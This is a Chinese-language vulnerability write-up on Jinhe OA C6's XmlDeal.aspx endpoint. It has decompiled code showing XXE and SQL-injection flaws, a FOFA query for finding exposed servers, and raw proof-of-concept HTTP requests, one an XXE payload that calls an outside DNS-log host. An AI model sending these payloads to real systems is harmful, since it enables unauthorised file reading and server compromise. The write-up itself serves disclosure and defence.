漏洞简介

金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 XmlDeal.aspx 接口处存在XXE漏洞，未授权的攻击者可以通过此漏洞读取服务器上敏感文件或探测内网服务信息，进一步利用可导致服务器失陷。

影响版本

金和OA C6

fofa语法

app="金和网络-金和OA"

漏洞分析

XXE漏洞

直接根据 XmlDeal.aspx 在 bin 目录下查找 JHSoft.Web.Blog.dll 将其进行反编译后找到 XmlDeal 的处理逻辑

private StringBuilder sb = new StringBuilder();
protected HtmlForm Form1;

protected void Page_Load(object sender, EventArgs e)
{
  string str = "";
  XmlDocument xmlDocument = new XmlDocument();
  xmlDocument.Load(this.Request.InputStream);
  switch (xmlDocument.DocumentElement.SelectSingleNode("//root//DealFlag").InnerText.Trim())
  {
    case "BlogPersonal":
      str = this.DealBlogPersonal(xmlDocument);
      break;
    case "BlogPhotoListAddReview":
      str = this.BlogPhotoListAddReview(xmlDocument);
      break;
    case "BlogPhotoDelPhoto":
      str = this.BlogPhotoDelPhoto(xmlDocument);
      break;
    case "BlogPhotoListDelReview":
      str = this.BlogPhotoListDelReview(xmlDocument);
      break;
    case "BlogIndexSetSession":
      str = this.BlogSetSession(xmlDocument);
      break;
    case "BlogIndexSeachBlog":
      str = this.BlogSeachBlog(xmlDocument);
      break;
    case "BlogIndexShowMore":
      str = this.BlogShowMore(xmlDocument);
      break;
    case "BlogPhotoListLoadReview":
      str = this.BlogPhotoListLoadReview(xmlDocument);
      break;
    case "BlogPhotoListGetReviewCount":
      str = this.BlogPhotoListGetReviewCount(xmlDocument);
      break;
    case "BlogPhotoListGetPhotoId":
      str = this.BlogPhotoListGetPhotoId(xmlDocument);
      break;
    case "UpLoadDialogDelTempDirectory":
      str = this.UpLoadDialogDelTempDirectory(xmlDocument);
      break;
    case "BlogGetEncrypt":
      str = this.BlogGetEncrypt(xmlDocument);
      break;
    case "AddKM":
      str = this.BlogGetContent(xmlDocument);
      break;
    case "AddType":
      str = this.BlogGetTypeName(xmlDocument);
      break;
  }
  this.Response.Write(str);
  this.Response.End();
}

请求内容直接使 XmlDocument.Load 解析，造成XXE漏洞。

SQL注入漏洞

BlogPhotoDelPhoto

当DealFlag=BlogPhotoDelPhoto时

private string BlogPhotoDelPhoto(XmlDocument xmlDocument)
{
  XmlNode xmlNode = xmlDocument.DocumentElement.SelectSingleNode("//root//imgSrc");
  xmlDocument.DocumentElement.SelectSingleNode("//root//strUserCode");
  string str1 = !string.op_Equality(this.Request.ApplicationPath, "/") ? this.Request.ApplicationPath + "/JHSoft.Web.Blog/" : this.Request.ApplicationPath;
  string lower1 = xmlNode.InnerText.ToLower();
  string lower2 = str1.ToLower();
  string[] strArray = lower1.Replace(lower2, ",").Split(new char[1]
  {
    ','
  });
  bool flag1 = false;
  flag1 = new JHSoft.Blog.Blog().delPhoto(lower2 + strArray[1]);

跟进delPhoto方法

public bool delPhoto(string strSrcImg)
{
  bool flag = true;
  string QueryString = $"update BlogPhoto set DelFlag=1 where photoPath = '{strSrcImg}'";
  DBOperator dbOperator = DBOperatorFactory.GetDBOperator();
  dbOperator.ExecSQLReInt(QueryString);
  if (dbOperator.IsError)
  {
    this.StrErrorMessage = dbOperator.ErrorMessage;
    flag = false;
  }
  return flag;
}

非常明显的SQL拼接导致SQL注入漏洞产生，但是需要注意imgSrc需要满足以下条件

• 包含当前请求的路径，即 /c6/Jhsoft.Web.blog/
• sql注入payload位置在包含路径后，才会在替换后使用逗号分割的第二个位置拼接进SQL语句

其他几个位置

BlogSetSession

任意文件夹删除

硬编码的DES密钥

漏洞复现

XXE

POST /c6/Jhsoft.Web.blog/XmlDeal.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.dnslog.pt/xxe_test">
%remote;]>
<root/>

在DNSLOG平台成功收到HTTP请求

SQL

POST /c6/Jhsoft.Web.blog/XmlDeal.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/xml

<root>
<DealFlag>BlogPhotoDelPhoto</DealFlag>
<imgSrc>SQLI_POC</imgSrc>
<strUserCode>admin</strUserCode>
</root>

成功延时 4 秒